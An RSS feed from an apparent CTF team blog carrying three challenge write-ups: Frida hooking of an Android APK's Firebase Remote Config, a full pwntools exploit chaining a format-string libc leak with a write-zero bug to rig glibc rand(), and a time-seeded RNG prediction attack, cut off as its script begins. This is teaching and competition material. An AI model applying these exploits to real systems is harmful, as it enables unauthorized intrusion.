<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>ByteTheCookies</title><description>CTF Team based in Italy</description><link>https://bytethecookies.org/</link><language>en</language><item><title>Jeanne DHACK CTF 2026 | Mobile Odyssey</title><link>https://bytethecookies.org/posts/jeanne-dhack-ctf-2026-mobile-odyssey/</link><guid isPermaLink="true">https://bytethecookies.org/posts/jeanne-dhack-ctf-2026-mobile-odyssey/</guid><description>A new mobile game, Mobile Odyssey, is currently in development. Here’s the first version… I don’t even think the UI works properly. 😅  There’s no way you could find any secret information just from this APK… or so I think.</description><pubDate>Fri, 30 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;The first mobile challenge of the Jeanne DHACK CTF 2026 is here! The challenge provides an APK file of a mobile game called Mobile Odyssey, and the goal is to find secret information hidden within the app. Easy, right?&lt;/p&gt;
&lt;p&gt;This challenge is not particularly hard if you have experience with mobile app reverse engineering and the right tools. This is my first time using certain tools. Not having a rooted phone makes dynamic reverse engineering challenging.&lt;/p&gt;
&lt;p&gt;I spent much more time setting up the environment than solving the challenge, but I finally got the flag.&lt;/p&gt;
&lt;p&gt;I used &lt;strong&gt;Waydroid&lt;/strong&gt; for emulation and &lt;strong&gt;ADB&lt;/strong&gt;, as well as &lt;strong&gt;Frida&lt;/strong&gt;. For reverse static analysis, I used &lt;strong&gt;JADX&lt;/strong&gt; and &lt;strong&gt;JADX-GUI&lt;/strong&gt;, plus some other tools like &lt;strong&gt;apktool&lt;/strong&gt; and &lt;strong&gt;uber-apk-signer&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Okay, let&apos;s start.&lt;/p&gt;
&lt;h2&gt;Source&lt;/h2&gt;
&lt;p&gt;All the main logic is here&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// filename: GameActivity.java

package com.jeannedhackctf.mobileodyssey;

import android.os.Bundle;
import android.util.Base64;
import android.widget.TextView;
import androidx.appcompat.app.AppCompatActivity;
import androidx.constraintlayout.widget.ConstraintLayout;
import com.google.android.gms.tasks.OnCompleteListener;
import com.google.android.gms.tasks.Task;
import com.google.firebase.ktx.Firebase;
import com.google.firebase.remoteconfig.FirebaseRemoteConfig;
import com.google.firebase.remoteconfig.FirebaseRemoteConfigSettings;
import com.google.firebase.remoteconfig.ktx.RemoteConfigKt;
import java.util.Map;
import kotlin.Metadata;
import kotlin.TuplesKt;
import kotlin.Unit;
import kotlin.collections.MapsKt;
import kotlin.jvm.functions.Function1;
import kotlin.jvm.internal.Intrinsics;
import kotlin.text.Charsets;
import kotlin.text.StringsKt;

/* compiled from: MainActivity.kt */
@Metadata(d1 = {&quot;\u0000.\n\u0002\u0018\u0002\n\u0002\u0018\u0002\n\u0002\b\u0003\n\u0002\u0018\u0002\n\u0000\n\u0002\u0018\u0002\n\u0000\n\u0002\u0010\u000e\n\u0002\b\u0002\n\u0002\u0010\u0002\n\u0000\n\u0002\u0018\u0002\n\u0002\b\u0004\u0018\u00002\u00020\u0001B\u0007¢\u0006\u0004\b\u0002\u0010\u0003J\u0012\u0010\u000b\u001a\u00020\f2\b\u0010\r\u001a\u0004\u0018\u00010\u000eH\u0014J\b\u0010\u000f\u001a\u00020\fH\u0002J\u0012\u0010\u0010\u001a\u0004\u0018\u00010\t2\u0006\u0010\u0011\u001a\u00020\tH\u0002R\u000e\u0010\u0004\u001a\u00020\u0005X\u0082.¢\u0006\u0002\n\u0000R\u000e\u0010\u0006\u001a\u00020\u0007X\u0082.¢\u0006\u0002\n\u0000R\u0010\u0010\b\u001a\u0004\u0018\u00010\tX\u0082\u000e¢\u0006\u0002\n\u0000R\u000e\u0010\n\u001a\u00020\tX\u0082D¢\u0006\u0002\n\u0000¨\u0006\u0012&quot;}, d2 = {&quot;Lcom/jeannedhackctf/mobileodyssey/GameActivity;&quot;, &quot;Landroidx/appcompat/app/AppCompatActivity;&quot;, &quot;&amp;lt;init&amp;gt;&quot;, &quot;()V&quot;, &quot;remoteConfig&quot;, &quot;Lcom/google/firebase/remoteconfig/FirebaseRemoteConfig;&quot;, &quot;statusTextView&quot;, &quot;Landroid/widget/TextView;&quot;, &quot;retrievedFlag&quot;, &quot;&quot;, &quot;REMOTE_KEY&quot;, &quot;onCreate&quot;, &quot;&quot;, &quot;savedInstanceState&quot;, &quot;Landroid/os/Bundle;&quot;, &quot;fetchRemoteConfig&quot;, &quot;tryDecodeBase64&quot;, &quot;value&quot;, &quot;app_debug&quot;}, k = 1, mv = {2, 0, 0}, xi = ConstraintLayout.LayoutParams.Table.LAYOUT_CONSTRAINT_VERTICAL_CHAINSTYLE)
/* loaded from: classes3.dex */
public final class GameActivity extends AppCompatActivity {
    private final String REMOTE_KEY = &quot;sEcre7vALu3&quot;;
    private FirebaseRemoteConfig remoteConfig;
    private String retrievedFlag;
    private TextView statusTextView;

    @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_game);
        this.statusTextView = (TextView) findViewById(R.id.tv_status);
        TextView textView = this.statusTextView;
        FirebaseRemoteConfig firebaseRemoteConfig = null;
        if (textView == null) {
            Intrinsics.throwUninitializedPropertyAccessException(&quot;statusTextView&quot;);
            textView = null;
        }
        textView.setText(&quot;🔧 En construction\nReviens bientôt pour plus de contenu.&quot;);
        this.remoteConfig = RemoteConfigKt.getRemoteConfig(Firebase.INSTANCE);
        FirebaseRemoteConfigSettings configSettings = RemoteConfigKt.remoteConfigSettings(new Function1() { // from class: com.jeannedhackctf.mobileodyssey.GameActivity$$ExternalSyntheticLambda2
            @Override // kotlin.jvm.functions.Function1
            public final Object invoke(Object obj) {
                return GameActivity.onCreate$lambda$0((FirebaseRemoteConfigSettings.Builder) obj);
            }
        });
        FirebaseRemoteConfig firebaseRemoteConfig2 = this.remoteConfig;
        if (firebaseRemoteConfig2 == null) {
            Intrinsics.throwUninitializedPropertyAccessException(&quot;remoteConfig&quot;);
            firebaseRemoteConfig2 = null;
        }
        firebaseRemoteConfig2.setConfigSettingsAsync(configSettings);
        Map defaults = MapsKt.mapOf(TuplesKt.to(this.REMOTE_KEY, &quot;&quot;));
        FirebaseRemoteConfig firebaseRemoteConfig3 = this.remoteConfig;
        if (firebaseRemoteConfig3 == null) {
            Intrinsics.throwUninitializedPropertyAccessException(&quot;remoteConfig&quot;);
        } else {
            firebaseRemoteConfig = firebaseRemoteConfig3;
        }
        firebaseRemoteConfig.setDefaultsAsync((Map&amp;lt;String, Object&amp;gt;) defaults);
        fetchRemoteConfig();
    }

    /* JADX INFO: Access modifiers changed from: private */
    public static final Unit onCreate$lambda$0(FirebaseRemoteConfigSettings.Builder remoteConfigSettings) {
        Intrinsics.checkNotNullParameter(remoteConfigSettings, &quot;$this$remoteConfigSettings&quot;);
        remoteConfigSettings.setMinimumFetchIntervalInSeconds(3600L);
        return Unit.INSTANCE;
    }

    private final void fetchRemoteConfig() {
        FirebaseRemoteConfig firebaseRemoteConfig = this.remoteConfig;
        if (firebaseRemoteConfig == null) {
            Intrinsics.throwUninitializedPropertyAccessException(&quot;remoteConfig&quot;);
            firebaseRemoteConfig = null;
        }
        firebaseRemoteConfig.fetchAndActivate().addOnCompleteListener(new OnCompleteListener() { // from class: com.jeannedhackctf.mobileodyssey.GameActivity$$ExternalSyntheticLambda0
            @Override // com.google.android.gms.tasks.OnCompleteListener
            public final void onComplete(Task task) {
                GameActivity.fetchRemoteConfig$lambda$3(this.f$0, task);
            }
        });
    }

    /* JADX INFO: Access modifiers changed from: private */
    public static final void fetchRemoteConfig$lambda$3(final GameActivity this$0, Task task) {
        Intrinsics.checkNotNullParameter(task, &quot;task&quot;);
        if (task.isSuccessful()) {
            FirebaseRemoteConfig firebaseRemoteConfig = this$0.remoteConfig;
            if (firebaseRemoteConfig == null) {
                Intrinsics.throwUninitializedPropertyAccessException(&quot;remoteConfig&quot;);
                firebaseRemoteConfig = null;
            }
            String raw = firebaseRemoteConfig.getString(this$0.REMOTE_KEY);
            Intrinsics.checkNotNull(raw);
            if (StringsKt.isBlank(raw)) {
                raw = null;
            }
            String str = raw;
            if (!(str == null || str.length() == 0)) {
                String maybeDecoded = this$0.tryDecodeBase64(raw);
                String str2 = maybeDecoded;
                this$0.retrievedFlag = !(str2 == null || str2.length() == 0) ? maybeDecoded : raw;
            } else {
                this$0.retrievedFlag = null;
            }
        } else {
            this$0.retrievedFlag = null;
        }
        this$0.runOnUiThread(new Runnable() { // from class: com.jeannedhackctf.mobileodyssey.GameActivity$$ExternalSyntheticLambda1
            @Override // java.lang.Runnable
            public final void run() {
                GameActivity.fetchRemoteConfig$lambda$3$lambda$2(this.f$0);
            }
        });
    }

    /* JADX INFO: Access modifiers changed from: private */
    public static final void fetchRemoteConfig$lambda$3$lambda$2(GameActivity this$0) {
        TextView textView = this$0.statusTextView;
        if (textView == null) {
            Intrinsics.throwUninitializedPropertyAccessException(&quot;statusTextView&quot;);
            textView = null;
        }
        textView.setVisibility(0);
    }

    private final String tryDecodeBase64(String value) {
        try {
            byte[] decoded = Base64.decode(value, 0);
            Intrinsics.checkNotNull(decoded);
            String str = new String(decoded, Charsets.UTF_8);
            if (StringsKt.isBlank(str)) {
                return null;python
            }
            return str;
        } catch (IllegalArgumentException e) {
            return null;
        }
    }
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Lets clean and zoom in the relevant parts.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;d2 = {&quot;Lcom/jeannedhackctf/mobileodyssey/GameActivity;&quot;, &quot;remoteConfig&quot;, &quot;Lcom/google/firebase/remoteconfig/FirebaseRemoteConfig;&quot;, &quot;REMOTE_KEY&quot;, &quot;fetchRemoteConfig&quot;, &quot;tryDecodeBase64&quot;, &quot;app_debug&quot;} // The metadata shows us some good leaks

 private final String REMOTE_KEY = &quot;sEcre7vALu3&quot;;  // The key used to fetch the secret value from Firebase Remote Config
    
 this.remoteConfig = RemoteConfigKt.getRemoteConfig(Firebase.INSTANCE); // Initialize Firebase Remote Config
    
    
    // Main logic function to fetch remote config value
  public static final void fetchRemoteConfig$lambda$3(final GameActivity this$0, Task task) {
      Intrinsics.checkNotNullParameter(task, &quot;task&quot;);
      if (task.isSuccessful()) {
          FirebaseRemoteConfig firebaseRemoteConfig = this$0.remoteConfig;
          if (firebaseRemoteConfig == null) {
              Intrinsics.throwUninitializedPropertyAccessException(&quot;remoteConfig&quot;);
              firebaseRemoteConfig = null;
          }
          String raw = firebaseRemoteConfig.getString(this$0.REMOTE_KEY); // Fetch the value using the REMOTE_KEY
          Intrinsics.checkNotNull(raw);
          if (StringsKt.isBlank(raw)) {
              raw = null;
          }
          String str = raw;
          if (!(str == null || str.length() == 0)) {
              String maybeDecoded = this$0.tryDecodeBase64(raw); // Try to decode the fetched value from Base64
              String str2 = maybeDecoded;
              this$0.retrievedFlag = !(str2 == null || str2.length() == 0) ? maybeDecoded : raw;
          } else {
              this$0.retrievedFlag = null;
          }
      } else {
          this$0.retrievedFlag = null;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nothing else is present, and the retrieved flags seem not to be used anywhere else.
Therefore, we must focus on Firebase Remote Config. The key is &lt;strong&gt;&quot;sEcre7vALu3&quot;&lt;/strong&gt; and the value is Base64-encoded. How do we get the value?&lt;/p&gt;
&lt;p&gt;Initially, I believed it was only possible with &lt;strong&gt;REMOTE_KEY&lt;/strong&gt;, but since I didn&apos;t know which Firebase instance the app was connected to, I couldn&apos;t do anything. So the idea was to launch the app and analyze it dynamically with &lt;strong&gt;Frida&lt;/strong&gt; to capture the remote value once it was fetched.&lt;/p&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;Here I downloaded &lt;strong&gt;Waydroid&lt;/strong&gt;, an Android emulation environment for Linux, and installed the apk in it. I started adb, installed the application with &lt;code&gt;waydroid app install&lt;/code&gt;. The command did not give any errors, but the application was not installed. I tried again with &lt;code&gt;adb install&lt;/code&gt; and got: &lt;code&gt;adb: failed to install mobile_odyssey_v0.0.1.apk: Failure [INSTALL_FAILED_OLDER_SDK: Requires newer sdk version #35 (current version is #33)]&lt;/code&gt;. So the problem was that Waydroid uses an older version of Android (33) than the one required by the app (35).&lt;/p&gt;
&lt;p&gt;One way to get around the problem is to change the required SDK in the manifest, so I extracted the apk with &lt;code&gt;apktool d mobile_odyssey_v0.0.1.apk&lt;/code&gt; and modified the &lt;code&gt;AndroidManifest.xml&lt;/code&gt; file by changing the line&lt;/p&gt;
&lt;p&gt;from&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;uses-sdk android:minSdkVersion=&quot;35&quot; android:targetSdkVersion=&quot;35&quot; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;to&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;uses-sdk android:minSdkVersion=&quot;33&quot; android:targetSdkVersion=&quot;35&quot; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and I rebuilt it with &lt;code&gt;apktool b mobile_odyssey_v0.0.1 -o mobile_odyssey_modded.apk&lt;/code&gt; and reinstalled it with &lt;code&gt;adb install mobile_odyssey_modded.apk&lt;/code&gt;. And here too, an error: &lt;code&gt;adb: failed to install odyssey_edited-2.apk: Failure [INSTALL_PARSE_FAILED_NO_CERTIFICATES: Failed to collect certificates from /data/app/vmdl209082530.tmp/base.apk: Attempt to get length of null array]&lt;/code&gt; The application needed to be signed again, so I used &lt;code&gt;uber-apk-signer&lt;/code&gt; to sign it again: &lt;code&gt;uber-apk-signer -a mobile_odyssey_modded.apk&lt;/code&gt; and obtained the file &lt;code&gt;mobile_odyssey_modded-aligned-signed.apk&lt;/code&gt;, which I reinstalled with &lt;code&gt;adb install mobile_odyssey_modded-aligned-signed.apk&lt;/code&gt;, and this time the installation was successful.&lt;/p&gt;
&lt;p&gt;OK, now we just need to launch the application and we&apos;ll have the flag, right? Wrong, the application crashes instantly. Looking at the logs with &lt;code&gt;waydroid logcat | grep -i &quot;AndroidRuntime&quot;&lt;/code&gt;, I find:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;01-30 15:51:47.980  3326  3326 E AndroidRuntime: java.lang.RuntimeException: Unable to instantiate activity ComponentInfo{com.jeannedhackctf.mobileodyssey/com.jeannedhackctf.mobileodyssey.MainActivity}: java.lang.ClassNotFoundException: Didn&apos;t find class &quot;com.jeannedhackctf.mobileodyssey.MainActivity&quot; on path: DexPathList[[zip file &quot;/data/app/~~mF_dXhC8jDmUju1Dx9lK_A==/com.jeannedhackctf.mobileodyssey-Sc7Ypls90RmuTLh9nTJ5Mg==/base.apk&quot;],nativeLibraryDirectories=[/data/app/~~mF_dXhC8jDmUju1Dx9lK_A==/com.jeannedhackctf.mobileodyssey-Sc7Ypls90RmuTLh9nTJ5Mg==/lib/x86_64, /data/app/~~mF_dXhC8jDmUju1Dx9lK_A==/com.jeannedhackctf.mobileodyssey-Sc7Ypls90RmuTLh9nTJ5Mg==/base.apk!/lib/x86_64, /system/lib64, /system/system_ext/lib64, /system/product/lib64]]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This means that the MainActivity class is missing, which is strange because it was present in the original apk. So I reviewed the AndroidManifest.xml file and noticed that the main activity is GameActivity and not MainActivity, so I edited the manifest to change the name of the main activity from MainActivity to GameActivity:
from&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;activity android:exported=&quot;true&quot; android:name=&quot;.MainActivity&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;to&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;activity android:exported=&quot;true&quot; android:name=&quot;.GameActivity&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Same steps of rebuilding, signing, and reinstalling, and finally the app launches correctly.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/odissey/image1.png&quot; alt=&quot;Image of the application&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Tada! There&apos;s nothing interesting here, just placeholder text. Now, we have to capture the remote configuration value dynamically.&lt;/p&gt;
&lt;p&gt;The main idea is to hook the methods. I created a Frida script like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// filename: exploit.js
// Ai generated
Java.perform(function () {
    console.log(&quot;[*] Injection active. Waiting...&quot;);

    var GameActivity = Java.use(&quot;com.jeannedhackctf.mobileodyssey.GameActivity&quot;);
    var FirebaseRemoteConfig = Java.use(&quot;com.google.firebase.remoteconfig.FirebaseRemoteConfig&quot;);

    // 1. We intercept the moment when the app tries to decode something
    // This is the &quot;surgical&quot; method
    try {
        GameActivity.tryDecodeBase64.implementation = function (value) {
            console.log(&quot;\n[!!!] BINGO! tryDecodeBase64 called!&quot;);
            console.log(&quot;      Input (Base64): &quot; + value);

            var result = this.tryDecodeBase64(value);
            console.log(&quot;      Output (Flag):  &quot; + result);
            return result;
        };
    } catch (e) {
        console.log(&quot;[-] Unable to hook tryDecodeBase64 (maybe the class is not loaded yet?)&quot;);
    }

    // 2. We intercept Firebase directly (Brute-Force method)
    // If the Activity crashes, Firebase might still work in the background
    FirebaseRemoteConfig.getString.overload(&apos;java.lang.String&apos;).implementation = function (key) {
        var value = this.getString(key);
        console.log(&quot;\n[+] Firebase.getString called for key: &quot; + key);
        console.log(&quot;    Returned value: &quot; + value);
        return value;
    };

    // 3. MANUAL TRIGGER
    // We look for a live Activity instance in memory and force the fetch
    Java.choose(&quot;com.jeannedhackctf.mobileodyssey.GameActivity&quot;, {
        onMatch: function (instance) {
            console.log(&quot;\n[+] Found GameActivity instance in memory!&quot;);
            console.log(&quot;    Attempting to force fetchRemoteConfig()...&quot;);
            try {
                // Since fetchRemoteConfig is private, we should make it accessible or call it via reflection if it fails,
                // but Frida often bypasses privacy. We try calling tryDecodeBase64 directly if we have the string.
                // Or we call Firebase&apos;s public method ourselves:

                var config = instance.remoteConfig.value; // Access to remoteConfig field (Kotlin property)
                if (config) {
                     var secret = config.getString(&quot;sEcre7vALu3&quot;);
                     console.log(&quot;    [MANUAL TRIGGER] Value read directly: &quot; + secret);
                } else {
                    console.log(&quot;    [-] remoteConfig is null in the instance.&quot;);
                }

            } catch (e) {
                console.log(&quot;    [-] Error in manual trigger: &quot; + e.message);
            }
        },
        onComplete: function () {
            console.log(&quot;[*] Memory scan completed.&quot;);
        }
    });

});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;BINGO!!!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/odissey/image2.png&quot; alt=&quot;Image of frida output&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Post notes&lt;/h2&gt;
&lt;p&gt;Initially, I installed Frida incorrectly and couldn&apos;t use the script, so I started looking through the application files in &lt;code&gt;/data/data/com.jeannedhackctf.mobileodyssey/files/&lt;/code&gt; and found the file &lt;code&gt;frc_1:&amp;lt;number&amp;gt;:android: &amp;lt;id&amp;gt;_firebase_activate.json&lt;/code&gt;, which contained the encoded flag, but I still wanted to use Frida for the solve because it&apos;s OBJECTIVELY cooler (this is possibile only when the application start correctly).&lt;/p&gt;
&lt;p&gt;flag: :spoiler[JDHACK{M08ile_@Nd_F1rEb4s3_!s_fun}]&lt;/p&gt;
</content:encoded></item><item><title>Backdoorctf 2025 | Gamble</title><link>https://bytethecookies.org/posts/backdoorctf2025-gamble/</link><guid isPermaLink="true">https://bytethecookies.org/posts/backdoorctf2025-gamble/</guid><description>My friends and I planned a trip to Gokarna and heard about a famous casino with a machine that almost never lets anyone win, only the truly lucky. I’ve replicated it. Let’s see if you are one of them!</description><pubDate>Thu, 18 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;We are given an executable and some docker files.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/gamble/command.png&quot; alt=&quot;ls -al&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s open the executable in ghidra.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/gamble/main.png&quot; alt=&quot;main&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The program initializes srand with seed &lt;strong&gt;time(0)&lt;/strong&gt;. We can login, place a bet, and finally gamble. In gamble, we get five chances to have rand() return a small enough number. In such case, the win function is called which prints the flag.&lt;/p&gt;
&lt;p&gt;Analyzing the program, there are two vulnerabilities:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A logic error in the loop of &lt;strong&gt;bet()&lt;/strong&gt; allows to overflow &lt;strong&gt;buf&lt;/strong&gt; to reach &lt;strong&gt;local_98&lt;/strong&gt; and achieve a format string vulnerability with the printf&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;/images/gamble/bet.png&quot; alt=&quot;bet&quot; /&gt;
2. In &lt;strong&gt;gamble()&lt;/strong&gt; after losing, instead of setting the user money to 0, money is treated as a pointer and 8 bytes at the pointed location are set to 0. This achieves a &lt;strong&gt;write 0 where&lt;/strong&gt; vulnerability.
&lt;img src=&quot;/images/gamble/gamble.png&quot; alt=&quot;gamble&quot; /&gt;
The user money is a variable whose size happens to be 8 bytes, and we can set it during the login.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/gamble/login.png&quot; alt=&quot;login&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Based on these vulnerabilities, we can obtain a libc leak using the format string and overwrite libc &lt;strong&gt;randtbl&lt;/strong&gt; entries with 0. Since glibc’s &lt;strong&gt;rand()&lt;/strong&gt; is a stateful PRNG that updates and mixes values stored in randtbl, forcing the table entries to zero collapses the internal state causing the generated values to be zero with higher probability.This technique was inspired by this &lt;a href=&quot;https://lkmidas.github.io/posts/20200319-angstromctf2020-writeups/&quot;&gt;&lt;strong&gt;writeup&lt;/strong&gt;&lt;/a&gt;, which also explains glibc &lt;strong&gt;rand()&lt;/strong&gt; internals in more detail for interested readers.&lt;/p&gt;
&lt;p&gt;Installing gdb on the Docker we can look at the stack layout when the format string is triggered, finding that &quot;$33%p&quot; leaks &lt;strong&gt;__libc_start_main+122&lt;/strong&gt;, and that &lt;strong&gt;randtbl&lt;/strong&gt; resides at __libc_start_main + 0x1d8ed0.&lt;/p&gt;
&lt;p&gt;Steps of the exploit:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;login with user id 0&lt;/li&gt;
&lt;li&gt;place bet to leak libc&lt;/li&gt;
&lt;li&gt;calculate randtbl address&lt;/li&gt;
&lt;li&gt;for &lt;strong&gt;i&lt;/strong&gt; in range(1,9):
&lt;ul&gt;
&lt;li&gt;login with user id &lt;strong&gt;i&lt;/strong&gt;, give &lt;strong&gt;randbtl + i*8&lt;/strong&gt; as money amount&lt;/li&gt;
&lt;li&gt;place bet&lt;/li&gt;
&lt;li&gt;gamble
&lt;ul&gt;
&lt;li&gt;If lucky, flag is printed&lt;/li&gt;
&lt;li&gt;Otherwise, &lt;strong&gt;randbtl + i*8&lt;/strong&gt; is set to 0&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Exploit:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
from tqdm import trange

host = &apos;remote.infoseciitr.in&apos;
port = 8004

elf = ELF(&quot;./chal&quot;)

context.binary = elf
context.terminal = [&apos;konsole&apos;, &apos;-e&apos;]
context.log_level = logging.WARN

gdbscript = &apos;&apos;&apos;
set follow-fork-mode parent
# fmtstr vuln
#break *bet+0x21e

break *rand

#break *gamble+0x138
break *gamble+0x15c
continue
&apos;&apos;&apos;

#args.GDB = True
def connection():
    if args.LOCAL:
        c = process([elf.path])
    elif args.GDB:
        c = gdb.debug([elf.path], gdbscript=gdbscript)
    else:
        c = remote(host, port)
    return c

stuff_to_leak = [(33,&quot;__libc_start_call_main&quot;, 122), (23, &quot;_rtld_global&quot;, 0), (19, &quot;_IO_2_1_stdin_&quot;, 0)]
stuff_to_leak = [(33,&quot;__libc_start_call_main&quot;, 122)] #only need one if we don&apos;t trust libc db :)

assert(len(stuff_to_leak) &amp;lt; 10)

def main():

    c = connection()
    user_idx = -1
    leaks_list = {}
    for index, name , offset in stuff_to_leak:
        
        user_idx += 1
        # login 
        c.sendlineafter(b&apos;&amp;gt; &apos;, b&apos;1&apos;)
        c.sendlineafter(b&apos;(0-9): &apos;, f&quot;{user_idx}&quot;.encode())
        c.sendlineafter(b&apos;name: &apos;, f&apos;name{user_idx}&apos;.encode())
        c.sendlineafter(b&apos;want: &apos;, b&apos;0&apos;)

        # leak libc
        payload = b&apos;Z&apos; * 10 + f&apos;%{index}$p#&apos;.encode()
        payload += b&apos; &apos;*(16 - len(payload))
        assert len(payload) == 16

        c.sendlineafter(b&apos;&amp;gt; &apos;, b&apos;2&apos;)
        c.sendlineafter(b&apos;bet: &apos;, f&apos;{user_idx}&apos;.encode())
        c.sendafter(b&apos;Currency): &apos;, payload)
        cur_leak = int(c.recvuntil(b&apos;#&apos;, drop=True).decode(),16)
        print(index, hex(cur_leak), name)
        leaks_list[name] = cur_leak - offset
        #c.interactive()

    print(leaks_list)

    #libc_path = libcdb.search_by_symbol_offsets(symbols=leaks_list)
    #libc = ELF(libc_path)
    #print(hex(libc.symbols.randtbl))
    #libc.address = int(leaks_list[&quot;__libc_start_call_main&quot;],16) - libc.symbols.__libc_start_call_main
    #libc.save(&apos;./libc.so&apos;)

    #randtbl = int(leaks_list[&quot;__libc_start_call_main&quot;],16) + 0x1d8ed0
    randtbl = leaks_list[&quot;__libc_start_call_main&quot;] + 0x1d8ed0

    print(&quot;randtbl = &quot;, hex(randtbl))

    randtbl_idx = -1
    for i in trange(10-user_idx):
        user_idx+=1
        randtbl_idx += 1

        # login 1
        c.sendlineafter(b&apos;&amp;gt; &apos;, b&apos;1&apos;)
        c.sendlineafter(b&apos;(0-9): &apos;, f&apos;{user_idx}&apos;.encode())
        c.sendlineafter(b&apos;name: &apos;, b&apos;baitdecuchis&apos;)
        #c.sendlineafter(b&apos;want: &apos;, str((libc.symbols.unsafe_state + context.bytes * 3) // context.bytes).encode())
        c.sendlineafter(b&apos;want: &apos;, str((randtbl + 8*randtbl_idx) &amp;gt;&amp;gt; 3).encode()) #need to divide by 8

        #bet
        c.sendlineafter(b&apos;&amp;gt; &apos;, b&apos;2&apos;)
        c.sendlineafter(b&apos;bet: &apos;, f&apos;{user_idx}&apos;.encode())
        c.sendlineafter(b&apos;Currency): &apos;, b&apos;a&apos;)

        # gamble
        c.sendlineafter(b&apos;&amp;gt; &apos;, b&apos;3&apos;)
        c.sendlineafter(b&apos;gamble: &apos;, f&apos;{user_idx}&apos;.encode())
        c.recvuntil(b&quot;Press ENTER to gamble...&quot;)

        for _ in range(5):
            c.sendline(b&apos;&apos;)

            rcvd = c.recvlines(2)
            if b&quot;Congratulations! You guessed it right!&quot; in rcvd:
                print(&quot;got lucky&quot;)
                c.interactive()
                exit()      
    
    print(&quot;got unlucky&quot;)

if __name__ == &apos;__main__&apos;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The loop at the beginning initially leaked multiple libc values in order to use pwntools &lt;strong&gt;libcdb.search_by_symbol_offsets&lt;/strong&gt; to have the offsets calculated automatically. This did not work and we ended up doing the math with hardcoded offsets like the good old times :thumbsup:.&lt;/p&gt;
&lt;p&gt;Exploit skeleton provided by Antonio aka &lt;a href=&quot;https://github.com/s1mpl3ss0&quot;&gt;simplesso&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;flag: &lt;code&gt;flag{r4nd_1s_n0t_truly_r4nd0m_l0l!_57}&lt;/code&gt;&lt;/p&gt;
</content:encoded></item><item><title>CornCTF2025 | Aeronaut</title><link>https://bytethecookies.org/posts/cornctf2025-aeronaut/</link><guid isPermaLink="true">https://bytethecookies.org/posts/cornctf2025-aeronaut/</guid><description>Aeronaut is a gambling game in which you bet on a multiplier. The goal is to get 100.000.000$. Good luck!</description><pubDate>Fri, 21 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;The last round of the CyberCup2025 competition was very good, with a challenging CTF. The challenge is a gambling game in which you bet on a multiplier. The goal is to earn 100,000,000 dollars. The game is implemented in Python using WebSocket and uses insecure randomness to generate multipliers. This allows us to predict the next multiplier and exploit the game.&lt;/p&gt;
&lt;h2&gt;Source&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# filename: file.py
def game_loop():
    &quot;&quot;&quot;Background game loop&quot;&quot;&quot;
    round_number = 0
    random.seed(int(time.time()))
    mult_list = [generate_multiplier() for i in range(10000)]
    while True:
        # Start new round
        gs.max_multiplier = mult_list[round_number % 10000]
        round_number += 1
        gs.current_multiplier = 1.0
        gs.game_phase = &apos;betting&apos;
        gs.round_start_time = time.time()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The seed is technically predictable. Initially, I wasn&apos;t sure it would work because the instance might have been activated for too long, which would have made brute forcing impossible. Fortunately, my colleague persuaded me to try it out and it worked very well, requiring only 12 hours of brute forcing in about 10 minutes.&lt;/p&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;I created a simple and effective script that takes crash data and uses brute force to compare the seed with the crash streak. Then, I can predict the next crash and automatically place a bet.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# filename: exploit.py

#!/usr/bin/env python3

import asyncio
import random
import time
import socketio
import functools
import concurrent.futures

URL       = &quot;http://localhost:5000&quot;
